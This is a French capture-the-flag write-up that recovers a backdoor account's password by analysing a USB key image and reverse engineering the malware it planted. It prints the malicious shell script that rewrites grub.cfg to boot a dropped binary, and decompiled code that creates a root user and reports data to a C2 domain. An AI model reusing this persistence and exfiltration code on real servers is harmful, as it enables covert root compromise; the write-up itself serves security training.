Une clé USB qui ouvre des portes

Posted on Jul 1, 2024

On nous donne un dump d’une clé USB branchés sur des serveurs. Cette clé USB aurait compromis la sécurité du serveur et créé un utilisateur avec un certain mot de passe. Le but de ce challenge est de retrouver ce mot de passe.

Nous possèdons aussi l’entrée de l’utilisateur généré dans /etc/passwd:

newsuperuserforwin:$6$NBYlg3a0nG8eykJg$KnzV/9n5DpRkeNHLcdXfviKsh0Z9NaPQdXg9Pd4nBOXuN6gr3dfAHxo71Y/dCGvG5kei3Y8ganUcz1RqrdTUt/:0:0::/root:/bin/sh

qui se traduit par:

Username: newsuperuserforwin
Password algorithm: sha512
Password salt: NBYlg3a0nG8eykJg
Password hash: KnzV/9n5DpRkeNHLcdXfviKsh0Z9NaPQdXg9Pd4nBOXuN6gr3dfAHxo71Y/dCGvG5kei3Y8ganUcz1RqrdTUt/
User id: 0
User group: 0
Full name: 
Home directory: /root
Login shell: /bin/sh

1. Extraire l’image de la clé USB

J’ai d’abord téléchargé l’image de la clé USB. J’ai ensuite lancé fdisk pour lister les partitions:

manaf@mogis:~/Downloads $ sudo fdisk -l image.raw

Disk image.raw: 49.88 MiB, 52301824 bytes, 102152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 2AAF9DFC-C429-4A1A-A12D-0D6DC6DD29CB

Device      Start    End Sectors  Size Type
image.raw1     64    491     428  214K Microsoft basic data
image.raw2    492   6251    5760  2.8M EFI System
image.raw3   6252 101503   95252 46.5M Apple HFS/HFS+
image.raw4 101504 102103     600  300K Microsoft basic data

Quatres partitions sont disponibles. Cependant, je n’ai réussi à en lire que deux.

Bref, j’ai d’abord chargé l’image avec kpartx

manaf@mogis:~/Downloads $ sudo kpartx -av image.raw

add map loop0p1 (253:0): 0 428 linear 7:0 64
add map loop0p2 (253:1): 0 5760 linear 7:0 492
add map loop0p3 (253:2): 0 95252 linear 7:0 6252
add map loop0p4 (253:3): 0 600 linear 7:0 101504

Puis j’ai mount individuellement chaque partition, là où c’était possible.

manaf@mogis:~/Downloads $ mkdir p1 p2 p3 p4
manaf@mogis:~/Downloads $ sudo mount /dev/mapper/loop0p1 p1                                                                                              1
mount: /home/manaf/Downloads/p1: wrong fs type, bad option, bad superblock on /dev/mapper/loop0p1, missing codepage or helper program, or other error.
       dmesg(1) may have more information after failed mount system call.
manaf@mogis:~/Downloads $ sudo mount /dev/mapper/loop0p2 p2                                                                                             32
manaf@mogis:~/Downloads $ sudo mount /dev/mapper/loop0p3 p3
mount: /home/manaf/Downloads/p3: WARNING: source write-protected, mounted read-only.
manaf@mogis:~/Downloads $ sudo mount /dev/mapper/loop0p4 p4
mount: /home/manaf/Downloads/p4: wrong fs type, bad option, bad superblock on /dev/mapper/loop0p4, missing codepage or helper program, or other error.
       dmesg(1) may have more information after failed mount system call.

Uniquement la partition 2 et la partition 3 ont pu être montés.

J’ai regardé les fichiers dans la partition 2, mais rien d’intéressant ne s’y trouvait. Cependant, dans la partition 3:

p3
└── boot
    ├── initrd
    └── vmlinuz

(D’autre fichiers s’y trouvaient mais par souci de formattage, je n’y ai laissé que les deux intéressants.)

Cette clé USB contient une distro Linux. La distro est contenue dans le fichier initrd.

manaf@mogis:~/Downloads/p3/boot $ file initrd
initrd: gzip compressed data, max compression, from Unix, original size modulo 2^32 5048320

Nous pouvons voir que c’est un fichier compressé avec gzip. Je l’ai donc décompressé.

manaf@mogis:~/Downloads/une-cle-...-portes $ cp ../p3/boot/initrd initrd.img.gz 
manaf@mogis:~/Downloads/une-cle-...-portes $ gunzip initrd.img.gz 
manaf@mogis:~/Downloads/une-cle-...-portes $ file initrd.img                   
initrd.img: ASCII cpio archive (SVR4 with no CRC)
manaf@mogis:~/Downloads/une-cle-...-portes $ cat initrd.img | cpio -idmv       
.
root
run
sys
usr
usr/bin
usr/sbin
etc
etc/hostname
etc/inittab
etc/fstab
etc/motd
etc/group
etc/init.d
etc/init.d/rcS
home
home/.pers.sh
init
proc
bin
bin/sh
bin/busybox
lib
lib/modules
lib/libc.so.6
lib/ld-linux-x86-64.so.2
sbin
var
var/run
lib64
lib64/ld-linux-x86-64.so.2
mnt
initrd
9860 blocks

Une fois initrd décompressé, nous pouvons observer le file system de la distro complet.

J’ai eu de la chance d’avoir ouvert le dossier avec VSCode, sinon je ne l’aurais sûrement pas vu. Il y a un fichier dans le répertoire /home, qui commence par un .:

manaf@mogis:~/Downloads/une-cle-usb-qui-ouvre-des-portes $ ls -a home 
.  ..  .pers.sh

Il ressemble à ça:

#!/bin/bash


mount /dev/nvme0n1p2 /mnt

sed -i -r -E 's/(root\=UUID\=[a-zA-Z0-9\-]{20,40})/\1 init=\/inlt/g' /mnt/boot/grub/grub.cfg

(echo -n 'f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA8BFAAAAAAABAAAAAAAAAACBbAAAAAAAAAAAAAEAAOAAN
(truncated)
AAAAAAAAAAAAAAAAAJJZAAAAAAAAiwEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=' | base64 -d) > /mnt/inlt

chmod +x /mnt/inlt

umount /mnt

# Now we can reboot

reboot

Ce fichier:

  1. Monte le disque du serveur d’origine, sur /mnt
  2. Change le script d’initialisation, de init à inlt (notez le L)
  3. Ajoute un virus sur /mnt/inlt
  4. Rend ce virus exécutable
  5. Redémarre le serveur

Il devient donc clair qu’il faut reverse engineer ce fichier pour comprendre ce qu’il s’est passé.

J’ai donc décodé ce programme en base64 et je l’ai enregistré sur mon disque.

2. Reverse Engineering

En chargeant le programme sur un outil de décompilation, nous pouvons observer que tous les symbols sont encore disponibles et que la décompilation va être facile.

J’utilise Cutter pour cette tâche, mais Ghidra ou IDA fonctionneraient tout aussi bien.

Nous pouvons voir que la fonction main appèle PwnNerD et IamPWNED.

undefined8 dbg.main(void)
{
    dbg.PwnNerD();
    dbg.IamPWNED();
    int pid = getpid();
    if (pid == 1) {
        pid = fork();
        if (pid != 0) {
            execl("/usr/lib/systemd/systemd", "/usr/lib/systemd/systemd", 0);
        }
    }
    return 0;
}

En ouvrant PwnNerD, on peut voir le code pour générer le mot de passe, et l’ajouter à /etc/passwd

void dbg.PwnNerD(void)
{
    undefined8 uVar1;
    undefined8 uVar2;
    undefined8 uVar3;
    undefined8 uVar4;
    unsigned char *crypted;
    unsigned char *token;
    unsigned char *salt_end;
    unsigned char *salt;
    
    dbg.init_PRNG_it_is_pretty_safe_right();
    uVar1 = calloc(16, 1);
    uVar2 = dbg.generate_random_string(16);
    strcpy(uVar1, hash_type);
    strcat(uVar1, uVar2);
    uVar3 = dbg.generate_random_string(8);
    uVar4 = dbg.compute_password(uVar3, uVar1);
    free(uVar1);
    free(uVar2);
    free(uVar3);
    dbg.setup_some_magic_tricks_to_visit_you_later(uVar4);
    return;
}

La génération du mot de passe se base sur de la PRNG (la fonction rand de stdlib)

Si on arrive à obtenir la seed, on peut trouver le mot de passe demandé pour le flag.

Heureusement pour nous, la seed se base sur le timestamp de génération:

void dbg.init_PRNG_it_is_pretty_safe_right(void)
{
    time_t t;
    
    super_secure_seed = time(&t);
    srand(super_secure_seed);
    return;
}

Et on connaît ce temps, grâce à la date de modification de /etc/passwd (donné dans l’énoncé): 28/06/2024 19:42:42 (UTC), ce qui se traduit en 1719603762.

On sait aussi, que la taille du salt est de 16 bytes, et que la taille du “token” est de 8 bytes.

En cherchant dans les strings, on tombe sur le charset: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

Le salt et le token sont généré aléatoirement à partir de ce charset.

Ensuite, une fois ces deux valeurs générés, le mot de passe est aussi créé à partir d’une liste de mot de passe prédéfinis:

unsigned char * dbg.choose_random_passwd_from_passwd_list_using_TRNG(void)
{
    getrandom(&password_index, 1, 2);
    return passwd_list[password_index + (uint8_t)((uint16_t)(ZEXT12(password_index) * 0x53) >> 0xd) * -99];
}
undefined8 dbg.compute_password(undefined8 param_1, undefined8 param_2)
{
    undefined8 uVar1;
    undefined8 uVar2;
    unsigned char *crypted;
    unsigned char *passwd;
    
    uVar1 = calloc(0x20, 1);
    uVar2 = dbg.choose_random_passwd_from_passwd_list_using_TRNG();
    strcpy(uVar1, uVar2);
    strcat(uVar1, param_1);
    uVar2 = crypt(uVar1, param_2);
    free(uVar1);
    return uVar2;
}

Le mot de passe est donc: prédéfini au hasard + token aléatoire

3. Détermination du mot de passe

Si on a déjà fait OTPasvraiment, un des challenges de la prochaine catégorie, on peut obtenir ça:

99.99.0.1:IAP&R;1719603762;82

C’est le packet que le virus envoie au serveur C2, dans la fonction IamPWNED.

void dbg.IamPWNED(void)
{
    int32_t iVar1;
    undefined8 uVar2;
    char message [24];
    undefined2 uStack_38;
    undefined2 uStack_36;
    undefined auStack_34 [16];
    int sockfd;
    hostent *server;
    char *domain;
    int bytes_sent;
    
    domain = "my-super-c2-for-l33t.fr";
    server = (hostent *)gethostbyname("my-super-c2-for-l33t.fr");
    if ((server != (hostent *)0x0) && (sockfd = socket(2, 1, 0), sockfd != -1)) {
        memset(&uStack_38, 0, 0x10);
        uStack_38 = 2;
        uStack_36 = htons(0x539);
        memcpy(auStack_34, **(undefined8 **)((int64_t)server + 0x18), (int64_t)*(int32_t *)((int64_t)server + 0x14));
        iVar1 = connect(sockfd, &uStack_38, 0x10);
        if (iVar1 == -1) {
            close(sockfd);
        } else {
            if (no_info_yet == '\0') {
                uVar2 = strlen(message);
                bytes_sent = send(sockfd, message, uVar2, 0);
            } else {
                sprintf(message, "IAP&R;%d;%d", super_secure_seed, 
                        password_index + (uint8_t)((uint16_t)(ZEXT12(password_index) * 0x53) >> 0xd) * -99);
                uVar2 = strlen(message);
                bytes_sent = send(sockfd, message, uVar2, 0);
            }
            if (bytes_sent == -1) {
                close(sockfd);
            } else {
                close(sockfd);
            }
        }
    }
    return;
}

On peut y lire:

Seed: 1719603762
Password Index: 82

Donc si on a déjà fait OTPasvraiment, on peut vérifier la seed obtenue précédemment, et connaître l’index du mot de passe. Le cas échéant, il faudrait tester les 100 mots de passe. Comme je le connaissait déjà, je n’ai pas eu à bruteforce.

La liste des mots de passe était:

backflip2, backflip17, backflip16, backflip15, backflip147, backflip123, backflip12, backflip101, backflip060495!, backflip0, backflip., backfliplayout, backflic, backflex, backflash, backfl1p, backfist1, backfist, backfire39, backfire13117, backfire07, backfire!, backfileedit, backfighter, backfield1, backfeather, backfat8, backfat1, backfat., backfat, backetball1991, backetball, backet, backerz, backeryman, backery, backerstraat, backers4009, backers35, backers23, backerpumita.14, backerij, backer58, backer49, backer44, backer41, backer40, backer34, backer24, backer1228, backer1, backer09, backer07, backer01, backer&, backenzie, backenupp, backend1, backend08, backen33, backen1, backelem, backedu, backedneans, backed, backeast, backe123456789, backe#41, backdry, backdrop, backdrafts, backdraft86, backdraft3342, backdraft06, backdraft., backdown9, backdown25, backdown0, backdor, backdoorlover, backdoor@#&*9, backdoor912, backdoor831, backdoor82, backdoor789, backdoor76, backdoor75, backdoor66, backdoor44, backdoor1993, backdoor11, backdoor0, backdoor., backdive, backdeptrai, backden1, backden, backdella, backdeck, backdeath

Le mot de passe 82 était: backdoor831

J’ai donc écrit un petit programme en C permettant de calculer le token, et de s’assurer que la RNG est bonne (en calculant le salt et comparant avec celui du hash du mot de passe)

#include <stdlib.h>
#include <stdio.h>

void main() {
    srand(1719603762);
    
    char salt[17];
    char token[9];
    char *charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

    for (int i = 0; i < 16; i++) {
        salt[i] = charset[rand() % 62];
    }
    salt[16] = "\0";

    for (int i = 0; i < 8; i++) {
        token[i] = charset[rand() % 62];
    }
    token[8] = "\0";

    printf("Salt: %s\n", salt);
    printf("Token: %s\n", token);
}
manaf@mogis:~/Downloads/une-cle-...-portes $ gcc test.c && ./a.out
Salt: NBYlg3a0nG8eykJg
Token: 4x9mWPW7

Le mot de passe est donc backdoor8314x9mWPW7

On peut le vérifier, en hashant le mot de passe avec openssl et en comparant les hash:

manaf@mogis:~/Downloads/une-cle-...-portes $ openssl passwd -6 -salt NBYlg3a0nG8eykJg backdoor8314x9mWPW7                                130
$6$NBYlg3a0nG8eykJg$KnzV/9n5DpRkeNHLcdXfviKsh0Z9NaPQdXg9Pd4nBOXuN6gr3dfAHxo71Y/dCGvG5kei3Y8ganUcz1RqrdTUt/

Ce qui correspond effectivement à notre hash dans l’énoncé.

Solution

Format du flag: SHLK{Mot_de_Passe_Du_Compte_Suspect}

SHLK{backdoor8314x9mWPW7}